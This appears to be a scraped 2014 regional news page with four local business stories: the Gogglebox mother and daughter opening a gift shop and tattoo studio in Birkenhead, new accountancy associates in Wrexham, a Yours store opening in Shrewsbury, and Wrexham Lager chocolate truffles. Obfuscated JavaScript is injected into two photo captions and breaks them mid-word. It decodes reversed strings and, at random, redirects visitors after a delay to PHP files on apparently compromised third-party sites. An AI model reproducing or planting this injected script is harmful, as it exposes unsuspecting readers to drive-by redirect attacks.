Category: News

TV’s Gogglebox stars open family business at Pyramids in Birkenhead

The Grange and Pyramids, Birkenhead. Pictured is Eve Woerdenweber and her mum Viv at their new business Twilight and Pretty in Ink tat$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}too parlour which is on St Werbergh?s Square.

A MOTHER and daughter team who have already made their mark in the world of television are now running their own tattooing and gift business at Pyramids Shopping Centre in Birkenhead.

Viv Woerdenweber, 52, and her 20-year-old daughter Eve shot to national fame after becoming the unexpected stars of the BAFTA-winning Channel 4 series Gogglebox.

The runaway TV smash hit broadcasts viewers’ reactions to popular TV shows using cameras installed in their living rooms.

As they wait for the next series of the smash-hit show to start next month, Viv and Eve, who live in Tranmere, have opened a two-in-one business in St Werburgh’s Square at Pyramids Shopping Centre.

On the ground floor is Viv’s Twilight gift shop selling everything from body jewellery to tarot cards and upstairs on the first floor Eve has her state of the art tattoo studio called Pretty Inked.

Since they opened for business their customers have been shocked to see two such well-known faces greeting them.

Viv said: “We have attracted quite a bit of attention from people who recognise us from the TV show and it’s definitely going to be good for business. However, I like to think people will also come in for what we’re offering at Twilight and Pretty Inked.

“I had a shop called Twilight for quite a few years on Birkenhead Market but as business was so good I decided to move to larger premises in Pyramids Shopping Centre. Both Eve and I feel it’s the place to be because it’s bigger, busier and the shop has a great outlook.

“I’m really proud of the unique range of products we’re offering at Twilight, which includes crystals, incense sticks, silver jewellery and collectible figurines. We also do holistic therapies and tarot cards. In fact, we have something to suit everyone’s tastes.”

Although Twilight also does a nice line in crystal balls, it’s unlikely that even one of these could have foretold the huge success of Gogglebox, which started in March 2013, and has attracted an audience of almost three million by the end of its second series. It landed the BAFTA award for reality and constructed factual programmes earlier this year.

The show is filmed by a five-strong TV crew at Viv and Eve’s semi-detached home in Tranmere and they appear on it alongside Viv’s German husband Ralf, 51, and Eve’s 21-year-old boyfriend Jay, who is working at Twilight while he completes his customer services training.

The family were asked to star in Gogglebox by a TV scout who approached Viv at her shop on Birkenhead Market and Eve talked them all into taking part.

Eve said: “We started filming last year and the crew comes up from London three times a week with the sessions lasting at least six hours a night.

“The whole thing is filmed a week in advance and we’ve all been amazed at how popular it is. The response has been just phenomenal. We’re just a regular family but people who watch it say they love it because we say the same sort of things about the programmes that they are thinking themselves.

“To win the BAFTA was incredible because we just weren’t expecting it. In fact, we were being filmed as the result was announced, which was just unreal.

“We’re due to start the new series next month and I just can’t wait to begin. But in the meantime we’ve been busy getting our two new businesses ready for opening at Pyramids.

“It’s been a dream of mine to have my own tattooing business since I was very young and I have four years of experience already under my belt working in different places including various apprenticeships.

“I can do all sorts of designs from small ones of someone’s name to what’s known as a full sleeve, which means tattoos all the way down a person’s arm.

“Men in the age range from 18 to 40 are our biggest customers although we do get a few women in too.

“To me a tattoo is an expression of who you are as an individual. I have four down my right arm all to do with my family and childhood. When I’m older I’d like to have many more.”

Eve, who has all the correct licenses and insurance for practising her body art, added that her new studio is fitted with all the latest equipment and follows the most stringent cleanliness and hygiene rules.

She said she was delighted to be working alongside her mum Viv in what was very much a family business.

Derek Millar, Commercial Director for Pyramids Shopping Centre, said: “We continue to welcome new business to Pyramids Shopping Centre which is not only a great indication of how well the shopping centre is doing generally but is also important for our shoppers as we are the main shopping hub on the Wirral.

“It’s been great to work with Viv and Eve at Pyramids Shopping Centre and support the start-up of a local, family run business which offers something completely different.

“I know people will enjoy popping in not just for the gifts and tattoos but also to catch up on the latest Gogglebox gossip.”

Giving away one little secret of how Gogglebox is filmed, Viv said: “The crew have become almost part of the family and we get on very well with them.

“But because we live in just a normal sized house things can get a bit crowded when they’re with us.

“While the four of us are being filmed by remotely controlled cameras in the living room the crew – that’s a director, researcher, cameraman, soundman and production runner – are all  squashed into the kitchen or sitting on the stairs.

“But it all seems to work very well and they even bring us little presents like cream doughnuts and make us tea and coffee.

“The whole experience is just amazing and we never expected the show to be such a hit or win a BAFTA, which is a huge award. I think it’s so successful because it’s just struck a chord with people and we say what they’re thinking.

“We’re now looking forward to our two new businesses at Pyramids being as big a hit as Gogglebox.”

For more information about Twilight and Pretty Inked go to www.pyramidsbirkenhead.com

Monday September 22nd, 2014

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Trio of Wrexham accountants take big step up career ladder at Coxeys

Coxeys appointment of three new associates.Pictured is Morag Browning with new associates Amy Bell, Rhian Williams and Joanne Evans .

The sky is the limit for a trio of ambitious young women who have taken a big step up the career ladder at a top accountancy firm.

Joanne Evans, Rhian Williams, and Amy Bell have been made Associates at Chartered Accountants and Registered Auditors Coxeys, as part of the company’s succession planning strategy.

Directors of the firm which has offices in Wrexham and Saltney say they are determined to ensure that the next generation is fully equipped to take over the reins when the time comes.

The newly-appointed women were handed bouquets of beautiful flowers and congratulated by their friends and fellow employees at a special celebration event.

As Associates, which is just below Director level, they will take on more responsibility such as building relationships with clients.

Coxeys represents a wide range of clients from sole traders right through to international market leaders.

Three years ago, they became the first accountancy firm in Wales to be judged worthy of the coveted award Investors in People Gold Award.

After a successful career working elsewhere, Joanne, 37, from Coedpoeth, who has been working at Coxeys for 10 months, explained: “It raises our profile within the company and lets the clients know that we’re doing the work. For example we get our names on the letter heads. It allows us to develop more of a personal relationship with the client. Being a partner is the next step.”

The married mother-of-two, who studied at Ysgol Morgan Llwyd, entered the world of work straight after leaving school at the age of 16, added: “I’ve learned a huge amount since I started working here, about business development, tax and auditing.

“They put a huge emphasis on training here, and that’s one of the reasons they have Investors in People Gold Award. That’s one of the things that sets Coxeys apart.

“Everyone here gets along and is really friendly and everyone is really motivated to do the best job for the client.”

Rhian, 29 from Pentre Broughton, has spent her whole working life at Coxeys.

She said: “I love working here because I never feel like there is a ceiling, and it’s a constant challenge. It’s a big compliment that we’re being trusted so much. It’s a big responsibility to represent the firm in this way.

“The senior staff are very supportive. It was lovely that everyone took the time to congratulate us, but things like that is the norm here. It’s exactly the same for birthdays and big events. It’s like a big family.”

Rhian, who started as a trainee at Coxeys at the age of 19 after finishing her studies at Yale College, added: “I started here as a trainee and I’ve never looked back.”

According to Amy, 30 from Chirk, who has worked for Coxeys for 18 months, she wanted to join the firm because of their track record in terms of training and personal development.

She said: “Coxeys is great firm to work for. They’re very client-focused and that’s why they’ve got such good client retention. You have to be very adaptive and focused on the details I never get bored here because there are new challenges every day.

“Our promotions are part of the succession planning strategy. They’re always thinking about the future.”

The married mother-of-one was bowled over when she received the flowers.

She added: “The flowers were a lovely gesture.”

Coxeys director Morag Browning believes that the future of the company is in safe hands.

She said: “They already have over 40 years of experience in the industry between them.

“This will aid our succession planning and future-proof the company and ensure its stability which is important to us and to our clients.

“We view succession planning as a major challenge for all accountancy firms over the coming years and I am sure our new Associates will help us meet that challenge and move forward as a company.

“We are an approved training practice for the three main accountancy bodies, the Institute of Chartered Accountants in England, Wales and the Association of Certified Chartered Accountants and Association of Accounting Technicians.

“We place great emphasis on the personal development of our team members, which is why we gained the Investors in People Gold Award three years ago.

“We used the IIP framework as a business model for excellence – and we consider the award as much more than just a kitemark, it’s embedded in our ethos of client care and staff development.”

Thursday September 18th, 2014

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Anita bounces back from redundancy to run new Shrewsbury store Yours

The new Yours in Darwin Centre, Shrewsbury has opened with new manager Anita Aslin who was manager of the Evans s$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tore which was formerly in the unit. Anita is pictured centre with staff Emma Leddy, left and Enya Battersby

When Anita Ashlin was made redundant a month ago she didn’t dream that four weeks later she’d be promoted and working in the same place as before.

The Shrewsbury mum was deputy manager of the Evans store in the town’s busy Darwin Shopping Centre when it closed in June but fast-forward to this week and Anita started work as manager of the new Yours store in the same Darwin Centre upper level unit.

That’s because fast-growing plus-size fashion store Yours have created five new jobs with the opening of their first store in Shropshire.

It is part of a major expansion of the brand which was founded by entrepreneur and former market trader Andrew Killingsworth who launched Yours in 2007.

There are now 58 stores in the Yours chain and plans to open a further 15 this year and 60 more in 2015.

Anita, 40, who lives in Harlescott weth her husband and daughter, said: “It’s been great news and it’s been such a roller-coaster time.

“I was deputy manager at Evans and it was a shame for them because I’d been with them for 11 years in Shrewsbury but it couldn’t have worked out better and I’m really looking forward to working for Yours.

“They’re a great company and this is a great opportunity because the Yours brand will fit in really well in Shrewsbury.

“It is very fashionable clothing with a nice range for the curvier figure and it’s affordable too.”

Area Manager Dannii Green said: “We chose Shrewsbury because there was nothing here for larger size ladies and we’re fashionable and affordable.

“We had a lot of feedback on our Twitter and Facebook sites and so we were looking here and we were lucky enough to find this unit here in the Darwin Centre and we think it will do really well.

“Anita applied for the position and she knows the area really well, has plenty of retail experience, knows the customers too and is just the sort of person I wanted and I think she’ll be a real asset to the store.

“We are still looking to fill a couple of positions here but if the store does as well as we think it will then within four to six weeks we could have more vacancies.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “It’s great to welcome Yours to the Centre and to have Anita back again as well.

“Their range is extremely fashionable and competitively priced too and the success of the brand is shown by the rapid expansion of the business while it also means the arrival of another high street big name here in Shrewsbury.”

Andrew Killingsworth, Chief Executive of Yours, said: “We believe in fashion without limits, so it is important as a fashion retailer to understand a plus size woman is like any other woman and wants to be fashionable and on trend.

“Following high street and catwalk trends is a huge focus for us as we believe everyone should have the opportunity to be fashionable and on trend at an affordable price whatever their size.”

Wednesday September 17th, 2014

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Say cheers with Wrexham Lager chocolate at Hamper Llangollen

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It’s chocolate heaven for lager lovers.

Innovative chocolatier Jo Edwards is launching a new milk chocolate truffle with a heady ingredient – Wrexham Lager.

Jo, 40, whose company, Aballu Truffles, is based in Rossett, near Wrexham, will be unveiling the new truffles at the Hamper Llangollen food festival on October 18-19.

The new truffles are already a big hit at Wrexham Lager, the iconic brand that was first brewed in the UK back in 1881 and served on the ill-fated Titanic in 1912.

Jo sent a batch to be tested by the discerning palate of company director Mark Roberts.

But the Wrexham Lager Truffles were intercepted by head brewer Ian Dale, a self-confessed chocoholic, who promptly scoffed the lot.

Ian said: “I must say they were absolutely delicious. The texture was really creamy – definitely my idea of chocolate heaven.”

Jo is a regular at Hamper Llangollen – recently named as one of the top 10 food festivals in the UK – which is being supported by the rural development agency, Cadwyn Clwyd.

Cadwyn Clwyd’s contribution comes via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

Jo came up with the idea for using Wrexham Lager when she was considering how to develop a chocolate treat aimed particularly for men.

And being Wrexham born and bred, and with her parents having run a pub, including a taste of Wrexham Lager in her new creation was the obvious choice.

Jo said: “I was looking at coming up with some ideas for a new truffle which would be particularly aimed at the male of the species.

“I grew up in Wrexham and Wrexham Lager is closely associated with the town.

“I remember the old brewery in the town and with my parents having run a pub in Brymbo near Wrexham, I thought Wrexham Lager was a great choice.”

Although the new truffle is aimed at men, the taste has gone down a treat with women who have been lucky enough to try out the new creation.

Jo said: “I am still in the process of developing the exact taste but I asked some local food producers who I know to give it a try as part of the trial process.

“They all happened to be female and they really liked it so the truffle will go down well with men and women.

“It has been really well received so far and although it is still under development I think it will do really well.”

Jo said fans of Wrexham Lager will be able to identify the unmistakable taste of the well loved lager when they bite into the truffle.

She said: “The lager is used to get the texture and flavour of the truffle.

“There is enough in there to get the Wrexham Lager flavour coming through.

“You can tell there is that lovely maltiness you get in the lager.”

The talented chocolatier said she was delighted to be able to launch her new product at Hamper Llangollen.

Jo started her Aballu truffles and artisan chocolatier business in 2006 and has attended the festival every year ever since.

She said: “There is always a great atmosphere at the festival and you get a real variety of top class food and drink.

“People always enjoy it and it is great to be involved with something so successful.”

The festival was named by the Independent newspaper as one of the Top 10 food festivals in the UK and Jo predicted the event would have another successful year this year.

She said: ”I have always done well there and it is a fantastic event.

“Exhibitors come from all over the area and from further afield because people in the food and drink industry know it is a fantastic showcase for their products.”

Jo added she would be continuing to come with more unusual and innovative concoctions in the future for her chocolate creations.

She said: “I am always looking to do something different, something a bit unusual.

“I have put together ingredients just to see how they work out and they have been successful.

“There is chilli ginger and lime for example or blackcurrant and rosemary.

“There is always something different to do.”

Jo’s innovations have also secured her a host of prestigious awards.

Her chilli ginger and lime treat won her a prestigious Great Taste Award.

She said: “It was great to have it recognised. I have won two Great Taste Awards now.

“We were also named the 2nd Most Loved Confectioner in the UK as part of the Best of “Local and Loved” competition.

“It is based on the number of testimonials that your customers take time to write and submit to Best Of.

“It means a lot to us that we got the award because of testimonials.”

Also starring at Hamper Llangollen 2014 will be two of Wales’s top chefs.

Graham Tinsley, the star of ITV’s Taste the Nation and a former captain of the Welsh Culinary Team, will be joined in the show kitchen by the ever popular Dai Chef, who is now based at Bodnant Welsh Food, the centre of excellence for Welsh food in the Conwy Valley.

Cadwyn Clwyd’s Agri Food Officer, Robert Price, believes this year’s festival is going to be one of the best ever.

He said: “Thanks to a whole host of indigenous companies like Aballu Truffles, North East Wales is rapidly establishing a reputation as a centre of excellence for high quality cuisine.

“The food festival is a perfect shop window for the companies who form the backbone of our rural economy.

“The location of the Pavilion is absolutely spectacular – I can’t imagine that any other food festival in the UK has a more beautiful setting.”

For more information about Aballu go to www.aballu.co.uk and for more information about Hamper Llangollen 2014 visit  www.llangollenfoodfestival.com

Monday September 15th, 2014

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News

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